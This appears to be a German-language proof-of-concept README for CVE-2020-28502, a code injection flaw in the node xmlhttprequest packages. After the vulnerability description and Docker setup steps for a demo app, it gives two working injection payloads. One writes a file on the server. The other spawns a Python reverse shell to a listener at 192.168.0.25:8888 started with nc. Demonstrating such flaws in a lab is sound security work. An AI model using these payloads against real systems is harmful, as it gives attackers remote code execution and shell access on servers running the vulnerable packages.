CVE-2020-28502 node-XMLHttpRequest RCE

NVD-Beschreibung

Dies betrifft das Paket xmlhttprequest vor 1.7.0 sowie alle Versionen des Pakets xmlhttprequest-ssl. Sofern Anfragen synchron gesendet werden (async=False bei xhr.open), kann schädliche Benutzereingabe, die in xhr.send fließt, dazu führen, dass beliebiger Code eingeschleust und ausgeführt wird.

Demo

Einrichtung

1. Ein Image aus einem Dockerfile erstellen

$ docker build -t cve-2020-28502 .

2. node app.js in einem neuen Container ausführen

$ docker run --rm -p 3000:3000 cve-2020-28502

3. http://localhost:3000 aufrufen

PoC-Payload

Datei hinzufügen

Payload senden

\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//

Reverse Shell

1. Listener auf dem Client starten

$ nc -l 8888

2. Payload senden

Ändern Sie die IP-Adresse (192.168.0.25) in Ihre lokale IP-Adresse

\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//

Referenz

• https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935